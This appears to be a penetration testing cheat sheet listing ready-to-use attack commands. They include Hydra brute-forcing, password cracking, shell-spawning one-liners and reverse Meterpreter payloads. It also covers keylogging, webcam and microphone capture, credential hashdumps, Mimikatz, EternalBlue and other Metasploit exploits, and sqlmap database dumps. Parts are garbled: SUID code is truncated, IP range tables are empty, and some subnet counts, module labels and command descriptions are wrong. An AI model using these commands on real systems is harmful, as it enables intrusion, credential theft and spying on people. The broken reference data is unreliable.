Penetration Testing Cheat Sheet: Tools, Techniques, and Tips 🕵️‍♂️

Discover the comprehensive Penetration Testing Cheat Sheet, your go-to guide for quick references, commands, and techniques in the world of penetration testing.

Whether you’re a novice or an experienced pentester, this cheat sheet has everything you need to navigate the world of security assessments. Explore tools, methodologies, and insights for effective reconnaissance, enumeration, privilege escalation, password cracking, exploit research, and more. Elevate your penetration testing skills with this valuable resource!

:male_detective: Recon and Enumeration

:globe_with_meridians: NMAP Commands

Nmap (“Network Mapper”) is a free and open-source utility for network discovery and security auditing. It’s a versatile tool used by both systems and network administrators for tasks like network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X.

Command Description
nmap -v -sS -A -T4 target Nmap verbose scan, runs syn stealth, T4 timing, OS and service version info, traceroute and scripts against services.
ping sweep sudo nmap -pn target Does a ping sweep over the target’s network to see all the available IPs.
nmap -v -sS -p–A -T4 target As above but scans all TCP ports (takes a lot longer).
nmap -v -sU -sS -p- -A -T4 target As above but scans all TCP ports and UDP scan (takes even longer).
nmap -v -p 445 –script=smb-check-vulns --script-args=unsafe=1 192.168.1.X Nmap script to scan for vulnerable SMB servers.
nmap localhost Displays all the ports that are currently in use.
ls /usr/share/nmap/scripts/* | grep ftp Search nmap scripts for keywords.

:open_file_folder: SMB Enumeration

In computer networking, Server Message Block (SMB) operates as an application-layer network protocol mainly used for providing shared access to files, printers, and serial ports.

Command Description
nbtscan Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain.
enum4linux -a target-ip Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing.
smbclient -L target-ip Lists all SMB shares available on the target machine.
smbget -R smb://target-ip/share Recursively downloads files from an SMB share.
rpcclient -U "" target-ip Connects to an SMB server using an empty username and lists available commands.
showmount -e target-ip Shows the available shares on the target machine, useful for NFS.
smbmap -H target-ip Shows share permissions of the target.
smbstatus Lists current Samba connections. Useful when run on the target machine.

:globe_with_meridians: Other Host Discovery Methods

Other methods of host discovery that don’t use Nmap.

Command Description
netdiscover -r Discovers IP, MAC Address and MAC vendor on the subnet from ARP.
arp-scan --interface=eth0 ARP scan to discover hosts on the local network.
fping -g Sends ICMP echo requests to multiple hosts to check if they are alive.
masscan -p1-65535,U:1-65535 --rate=1000 Scans all ports at a high rate, useful for initial discovery.

:snake: Python Local Web Server

Python local web server command, handy for serving up shells and exploits on an attacking machine.

Command Description
python -m SimpleHTTPServer 80 Run a basic HTTP server, great for serving up shells etc.
python3 -m http.server 80 Run a basic HTTP server using Python 3.
python -m SimpleHTTPServer 80 --bind Bind the server to a specific IP address.

:file_cabinet: Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

Command Description
mount /mnt/nfs Mount NFS share to /mnt/nfs.
mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs Mount Windows CIFS / SMB share on Linux at /mnt/cifs.
net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no Mount a Windows share on Windows from the command line.
apt-get install smb4k -y Install smb4k on Kali, useful Linux GUI for browsing SMB shares.
smbclient -L //192.168.1.X -U username List SMB shares available on a Windows machine.

:male_detective: Basic FingerPrinting

A device fingerprint or machine fingerprint or browser fingerprint is information collected about a remote computing device for the purpose of identification.

Command Description
nc -v 25 Basic versioning / fingerprinting via displayed banner.
telnet 25 Another method for basic versioning / fingerprinting.
curl -I Fetch HTTP headers for fingerprinting the web server.
nmap -O Perform OS detection using Nmap.
whatweb Identify web technologies in use on the target.

:satellite: SNMP Enumeration

SNMP enumeration is the process of using SNMP to enumerate user accounts on a target system.

Command Description
snmpcheck -t 192.168.1.X -c public SNMP enumeration
snmpwalk -c public -v1 192.168.1.X 1 SNMP enumeration
snmpenum -t 192.168.1.X SNMP enumeration
onesixtyone -c names -i hosts SNMP enumeration
snmpbulkwalk -v2c -c public -Cn0 -Cr10 192.168.1.X Bulk SNMP enumeration

:globe_with_meridians: DNS Zone Transfers

Command Description
nslookup -> set type=any -> ls -d Windows DNS zone transfer
dig axfr Linux DNS zone transfer
host -l Another Linux DNS zone transfer method

:satellite: DNSRecon

DNSRecon provides the ability to perform various DNS enumeration tasks.

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

:globe_with_meridians: HTTP / HTTPS Webserver Enumeration

Command Description
nikto -h Perform a nikto scan against target
dirbuster Configure via GUI, CLI input doesn’t work most of the time
gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt Directory brute forcing with gobuster
wpscan --url WordPress vulnerability scanner
joomscan -u Joomla vulnerability scanner
uniscan -u -qweds Uniscan automated vulnerability scanner
curl -I Fetch HTTP headers using curl
nmap -p80 --script http-enum Nmap script for HTTP enumeration
whatweb Identify technologies used on the website
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 Fuzzing HTTP with wfuzz

:package: Packet Inspection

Command Description
tcpdump tcp port 80 -w output.pcap -i eth0 Capture packets on port 80
`tcpdump -i eth0 'port 443 and (tcp-syn tcp-ack)!=0’`
wireshark -k -i <interface> Open Wireshark on a specific interface
tshark -i eth0 -f "tcp port 80" Capture packets with tshark on port 80

:bust_in_silhouette: Username Enumeration

SMB User Enumeration

Command Description
python /usr/share/doc/python-impacket-doc/examples/ 192.168.XXX.XXX Enumerate users from SMB 192.168.XXX.XXX 500 50000 dict.txt RID cycle SMB / enumerate users from SMB
enum4linux -U 192.168.XXX.XXX Enumerate SMB usernames using enum4linux

SNMP User Enumeration

Command Description
`snmpwalk public -v1 192.168.X.XXX 1 grep
python /usr/share/doc/python-impacket-doc/examples/ SNMP 192.168.X.XXX Enumerate users from SNMP
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt Search for SNMP servers with nmap, grepable output

:lock: Passwords


Command Description
/usr/share/wordlists Kali word lists
wget Download a popular wordlist from GitHub

Massive wordlist here at HackToday’s blog

:hammer_and_wrench: Brute Forcing Services


FTP Brute Force

Command Description
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V Hydra FTP brute force

POP3 Brute Force

Command Description
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V Hydra POP3 brute force

SMTP Brute Force

Command Description
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V Hydra SMTP brute force

SSH Brute Force

Command Description
hydra -l root -P /usr/share/wordlistsnmap.lst 192.168.X.XXX ssh Hydra SSH brute force

Use -t to limit concurrent connections, example: -t 15

:closed_lock_with_key: Password Cracking

John The Ripper – JTR

Command Description
john –wordlist=/usr/share/wordlists/rockyou.txt hashes JTR password cracking
john –format=descrypt –wordlist /usr/share/wordlists/rockyou.txt hash.txt JTR forced descrypt cracking with wordlist
john –format=descrypt hash –show JTR forced descrypt brute force cracking


Command Description
hashcat -m 0 -a 0 hash.txt wordlist.txt Hashcat MD5 cracking
hashcat -m 1000 -a 0 hash.txt wordlist.txt Hashcat NTLM cracking

Exploit Research

Command Description
`searchsploit windows 2003 grep -i local` exploit kernel <= 3 Google search for kernel exploits on
grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/* Search Metasploit modules for Windows 7 exploits
msfconsole -q -x "search name:windows type:exploit" Search Metasploit for Windows exploits

Compiling Exploits

Identifying if C code is for Windows or Linux

Header Files OS
process.h, string.h, winbase.h, windows.h, winsock2.h Windows
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h Linux

Build Exploit GCC

Command Description
gcc -o exploit exploit.c Basic GCC compile
gcc -Wall -Wextra exploit.c -o exploit Compile with all warnings and extras

GCC Compile 32Bit Exploit on 64Bit Kali

Command Description
gcc -m32 exploit.c -o exploit Cross compile 32-bit binary on 64-bit Linux

Compile Windows .exe on Linux

Command Description
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe Compile Windows .exe on Linux
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe Compile 64-bit Windows .exe on Linux

SUID Binary

SUID C Shell for /bin/bash

int main(void){
       setresuid(0, 0, 0);

SUID C Shell for /bin/sh

int main(void){
       setresuid(0, 0, 0);

Building the SUID Shell binary

Command Description
gcc -o suid suid.c Compile the SUID shell
gcc -m32 -o suid suid.c Compile the 32-bit SUID shell

TTY Shells

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

perl -e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

ruby -e 'exec "/bin/sh"'

Spawn Lua TTY Shell

lua -e 'os.execute("/bin/sh")'

Spawn TTY Shell from Vi


Spawn TTY Shell from NMAP


Spawn TTY Shell from awk

awk 'BEGIN {system("/bin/sh")}'

Spawn TTY Shell from socat

socat file:tty,raw,echo=0 tcp-listen:4444


Meterpreter Payloads

Windows reverse meterpreter payload

set payload windows/meterpreter/reverse_tcp

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp

set ViewOnly false

Linux Reverse Meterpreter payload

set payload linux/meterpreter/reverse_tcp

Android Reverse Meterpreter payload

set payload android/meterpreter/reverse_tcp

Meterpreter Cheat Sheet

Command Description
upload file c:\\windows Upload file to Windows target
download c:\\windows\\repair\\sam /tmp Download file from Windows target
execute -f c:\\windows\temp\exploit.exe Run .exe on target
execute -f cmd -c Creates new channel with cmd shell
ps Show processes
shell Get shell on the target
getsystem Attempts privilege escalation on the target
hashdump Dump the hashes on the target
portfwd add –l 3389 –p 3389 –r target Create port forward to target machine
portfwd delete –l 3389 –p 3389 –r target Delete port forward
screenshot Capture screenshot of the target machine
keyscan_start Start keylogger
keyscan_dump Dump collected keystrokes
webcam_snap Take webcam snapshot
record_mic Record microphone
enum_chrome Enumerate Chrome browser data

:computer: Common Metasploit Modules

:closed_lock_with_key: Remote Windows Metasploit Modules (exploits)

Command Description
use exploit/windows/smb/ms08_067_netapi MS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapi MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit
use exploit/windows/smb/ms17_010_eternalblue MS17_010 EternalBlue SMB Remote Windows Kernel Pool Corruption

:key: Local Windows Metasploit Modules (exploits)

Command Description
use exploit/windows/local/bypassuac Bypass UAC on Windows 7 + Set target + arch, x86/64
use exploit/windows/local/ms10_015_kitrap0d MS10_015 Kitrap0d Local Privilege Escalation

:mag: Auxilary Metasploit Modules

Command Description
use auxiliary/scanner/http/dir_scanner Metasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS vulnerability scanner
use auxiliary/scanner/mssql/mssql_login Metasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_version Metasploit MySQL Version Scanner
use auxiliary/scanner/oracle/oracle_login Metasploit Oracle Login Module

:shell: Metasploit Powershell Modules

Command Description
use exploit/multi/script/web_delivery Metasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershell Metasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployer Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload

:wrench: Post Exploit Windows Metasploit Modules

Command Description
run post/windows/gather/win_privs Metasploit show privileges of current user
use post/windows/gather/credentials/gpp Metasploit grab GPP saved passwords
load mimikatz -> wdigest Metasploit load Mimikatz
run post/windows/gather/local_admin_search_enum Identify other machines that the supplied domain user has administrative access to

:satellite: Networking

:signal_strength: TTL Fingerprinting

Operating System TTL Size
Windows 128
Linux 64
Solaris 255
Cisco / Network 255

IPv4 :earth_americas:

Classful IP Ranges :chart_with_upwards_trend:

Note: Class A, B, C are deprecated

Class IP Address Range
Class A :one: –
Class B :two: –
Class C :three: –
Class D :four: –
Class E :five: –

IPv4 Private Address Ranges :lock:

Class Range
Class A :one: –
Class B :two: –
Class C :three: –
Loopback :repeat: –

IPv4 Subnet Cheat Sheet :memo:

CIDR Decimal Mask Number of Hosts
/31 1 Host
/30 2 Hosts
/29 6 Hosts
/28 14 Hosts
/27 30 Hosts
/26 62 Hosts
/25 126 Hosts
/24 254 Hosts
/23 512 Hosts
/22 1022 Hosts
/21 2046 Hosts
/20 4094 Hosts
/19 8190 Hosts
/18 16382 Hosts
/17 32766 Hosts
/16 65534 Hosts
/15 131070 Hosts
/14 262142 Hosts
/13 524286 Hosts
/12 1048674 Hosts
/11 2097150 Hosts
/10 4194302 Hosts
/9 8388606 Hosts
/8 16777214 Hosts

ASCII Table Cheat Sheet :keyboard:

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

ASCII Character ASCII Character ASCII Character ASCII Character
x00 Null Byte x08 BS x09 TAB x0a LF
x0d CR x1b ESC x20 SPC x21 !
x22 " x23 # x24 $ x25 %
x26 & x27 ` x28 ( x29 )
x2a * x2b + x2c , x2d -
x2e . x2f / x30 0 x31 1
x32 2 x33 3 x34 4 x35 5
x36 6 x37 7 x38 8 x39 9
x3a : x3b ; x3c < x3d =
x3e > x3f ? x40 @ x41 A
x42 B x43 C x44 D x45 E
x46 F x47 G x48 H x49 I
x4a J x4b K x4c L x4d M
x4e N x4f O x50 P x51 Q
x52 R x53 S x54 T x55 U
x56 V x57 W x58 X x59 Y
x5a Z x5b [ x5c \ x5d ]
x5e ^ x5f _ x60 ` x61 a
x62 b x63 c x64 d x65 e
x66 f x67 g x68 h x69 i
x6a j x6b k x6c l x6d m
x6e n x6f o x70 p x71 q
x72 r x73 s x74 t x75 u
x76 v x77 w x78 x x79 y
x7a z

Cisco IOS Commands :computer:

Command Description
enable Enters enable mode
conf t Short for, configure terminal
(config)# interface fa0/0 Configure FastEthernet 0/0
(config-if)# ip addr Add IP to fa0/0
(config-if)# line vty 0 4 Configure vty line
(config-line)# login Cisco set telnet password
(config-line)# password YOUR-PASSWORD Set telnet password
# show running-config Show running config loaded in memory
# show startup-config Show startup config
# show version Show Cisco IOS version
# show session Display open sessions
# show ip interface Show network interfaces
# show interface e0 Show detailed interface info
# show ip route Show routes
# show access-lists Show access lists
# dir file systems Show available files
# dir all-filesystems File information
# dir /all Show deleted files
# terminal length 0 No limit on terminal output
# copy running-config tftp Copies running config to tftp server
# copy running-config startup-config Copy startup-config to running-config

Cryptography :lock:

Hash Lengths

Hash Size
MD5 16 Bytes
SHA-1 20 Bytes
SHA-256 32 Bytes
SHA-512 64 Bytes

Hash Examples

Hash Example
MD5 Hash Example 8743b52063cd84097a65d1633f5c74f5
SHA1 Hash Example b89eaac7e61417341b710b727768294d0e6a277b
SHA-256 127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
SHA-512 82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f

SQLMap Examples :bug:

Command Description
sqlmap -u –forms –batch –crawl=10 –cookie=jsessionid=54321 –level=5 –risk=3 Automated sqlmap scan
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE –level=3 –current-user –current-db –passwords –file-read="/var/www/blah.php" Targeted sqlmap scan
sqlmap -u "" –dbms=mysql –tech=U –random-agent –dump Scan URL for union + error-based injection with MySQL backend and use a random user agent + database dump
sqlmap -o -u "" –forms SQLMap check form for injection
sqlmap -o -u "http://meh/vuln-form" –forms -D database-name -T users –dump SQLMap dump and crack hashes for table users on database-name